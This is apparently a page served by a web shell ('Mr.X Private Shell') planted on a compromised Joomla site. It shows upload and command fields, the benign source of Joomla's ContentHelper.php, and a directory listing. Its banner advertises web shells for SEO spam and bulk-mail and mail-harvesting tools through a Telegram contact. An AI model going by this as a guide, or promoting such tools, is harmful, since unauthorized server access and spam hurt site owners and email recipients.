__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Helper;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Helper for standard content style extensions.
 * This class mainly simplifies static helper methods often repeated in individual components
 *
 * @since  3.1
 */
class ContentHelper
{
    /**
     * Configure the Linkbar. Must be implemented by each extension.
     *
     * @param   string  $vName  The name of the active view.
     *
     * @return  void
     *
     * @since   3.1
     */
    public static function addSubmenu($vName)
    {
    }

    /**
     * Adds Count relations for Category and Tag Managers
     *
     * @param   \stdClass[]  &$items  The category or tag objects
     * @param   \stdClass    $config  Configuration object allowing to use a custom relations table
     *
     * @return  \stdClass[]
     *
     * @since   3.9.1
     */
    public static function countRelations(&$items, $config)
    {
        $db = Factory::getDbo();

        // Allow custom state / condition values and custom column names to support custom components
        $counter_names = isset($config->counter_names) ? $config->counter_names : [
            '-2' => 'count_trashed',
            '0'  => 'count_unpublished',
            '1'  => 'count_published',
            '2'  => 'count_archived',
        ];

        // Index category objects by their ID
        $records = [];

        foreach ($items as $item) {
            $records[(int) $item->id] = $item;
        }

        // The relation query does not return a value for cases without relations of a particular state / condition, set zero as default
        foreach ($items as $item) {
            foreach ($counter_names as $n) {
                $item->{$n} = 0;
            }
        }

        // Table alias for related data table below will be 'c', and state / condition column is inside related data table
        $related_tbl = '#__' . $config->related_tbl;
        $state_col   = 'c.' . $config->state_col;

        // Supported cases
        switch ($config->relation_type) {
            case 'tag_assigments':
                $recid_col = 'ct.' . $config->group_col;

                $query = $db->getQuery(true)
                    ->from($db->quoteName('#__contentitem_tag_map', 'ct'))
                    ->join(
                        'INNER',
                        $db->quoteName($related_tbl, 'c'),
                        $db->quoteName('ct.content_item_id') . ' = ' . $db->quoteName('c.id')
                        . ' AND ' . $db->quoteName('ct.type_alias') . ' = :extension'
                    )
                    ->bind(':extension', $config->extension);
                break;

            case 'category_or_group':
                $recid_col = 'c.' . $config->group_col;

                $query = $db->getQuery(true)
                    ->from($db->quoteName($related_tbl, 'c'));
                break;

            default:
                return $items;
        }

        /**
         * Get relation counts for all category objects with single query
         * NOTE: 'state IN', allows counting specific states / conditions only, also prevents warnings with custom states / conditions, do not remove
         */
        $query
            ->select(
                [
                    $db->quoteName($recid_col, 'catid'),
                    $db->quoteName($state_col, 'state'),
                    'COUNT(*) AS ' . $db->quoteName('count'),
                ]
            )
            ->whereIn($db->quoteName($recid_col), array_keys($records))
            ->whereIn($db->quoteName($state_col), array_keys($counter_names))
            ->group($db->quoteName([$recid_col, $state_col]));

        $relationsAll = $db->setQuery($query)->loadObjectList();

        // Loop through the DB data overwriting the above zeros with the found count
        foreach ($relationsAll as $relation) {
            // Sanity check in case someone removes the state IN above ... and some views may start throwing warnings
            if (isset($counter_names[$relation->state])) {
                $id = (int) $relation->catid;
                $cn = $counter_names[$relation->state];

                $records[$id]->{$cn} = $relation->count;
            }
        }

        return $items;
    }

    /**
     * Gets a list of the actions that can be performed.
     *
     * @param   string   $component  The component name.
     * @param   string   $section    The access section name.
     * @param   integer  $id         The item ID.
     *
     * @return  CMSObject
     *
     * @since   3.2
     */
    public static function getActions($component = '', $section = '', $id = 0)
    {
        $assetName = $component;

        if ($section && $id) {
            $assetName .= '.' . $section . '.' . (int) $id;
        }

        $result = new CMSObject();

        $user = Factory::getUser();

        $actions = Access::getActionsFromFile(
            JPATH_ADMINISTRATOR . '/components/' . $component . '/access.xml',
            '/access/section[@name="component"]/'
        );

        if ($actions === false) {
            Log::add(
                Text::sprintf('JLIB_ERROR_COMPONENTS_ACL_CONFIGURATION_FILE_MISSING_OR_IMPROPERLY_STRUCTURED', $component),
                Log::ERROR,
                'jerror'
            );

            return $result;
        }

        foreach ($actions as $action) {
            $result->set($action->name, $user->authorise($action->name, $assetName));
        }

        return $result;
    }

    /**
     * Gets the current language
     *
     * @param   boolean  $detectBrowser  Flag indicating whether to use the browser language as a fallback.
     *
     * @return  string  The language string
     *
     * @since   3.1
     * @note    CmsHelper::getCurrentLanguage is the preferred method
     */
    public static function getCurrentLanguage($detectBrowser = true)
    {
        $app      = Factory::getApplication();
        $langCode = null;

        // Get the languagefilter parameters
        if (Multilanguage::isEnabled()) {
            $plugin       = PluginHelper::getPlugin('system', 'languagefilter');
            $pluginParams = new Registry($plugin->params);

            if ((int) $pluginParams->get('lang_cookie', 1) === 1) {
                $langCode = $app->getInput()->cookie->getString(ApplicationHelper::getHash('language'));
            } else {
                $langCode = $app->getSession()->get('plg_system_languagefilter.language');
            }
        }

        // No cookie - let's try to detect browser language or use site default
        if (!$langCode) {
            if ($detectBrowser) {
                $langCode = LanguageHelper::detectLanguage();
            } else {
                $langCode = ComponentHelper::getParams('com_languages')->get('site', 'en-GB');
            }
        }

        return $langCode;
    }

    /**
     * Gets the associated language ID
     *
     * @param   string  $langCode  The language code to look up
     *
     * @return  integer  The language ID
     *
     * @since   3.1
     * @note    CmsHelper::getLanguage() is the preferred method.
     */
    public static function getLanguageId($langCode)
    {
        $db    = Factory::getDbo();
        $query = $db->getQuery(true)
            ->select($db->quoteName('lang_id'))
            ->from($db->quoteName('#__languages'))
            ->where($db->quoteName('lang_code') . ' = :language')
            ->bind(':language', $langCode);
        $db->setQuery($query);

        return $db->loadResult();
    }

    /**
     * Gets a row of data from a table
     *
     * @param   Table  $table  Table instance for a row.
     *
     * @return  array  Associative array of all columns and values for a row in a table.
     *
     * @since   3.1
     */
    public function getRowData(Table $table)
    {
        $data = new CMSHelper();

        return $data->getRowData($table);
    }
}

Filemanager

Name Type Size Permission Actions
AuthenticationHelper.php File 5.53 KB 0664
CMSHelper.php File 3.73 KB 0664
ContentHelper.php File 8.42 KB 0664
HelperFactory.php File 1.58 KB 0664
HelperFactoryAwareInterface.php File 736 B 0664
HelperFactoryAwareTrait.php File 1.31 KB 0664
HelperFactoryInterface.php File 743 B 0664
LibraryHelper.php File 5.56 KB 0664
MediaHelper.php File 17.42 KB 0664
ModuleHelper.php File 23.06 KB 0664
RouteHelper.php File 8.52 KB 0664
TagsHelper.php File 40.01 KB 0664
UserGroupsHelper.php File 6.97 KB 0664
Filemanager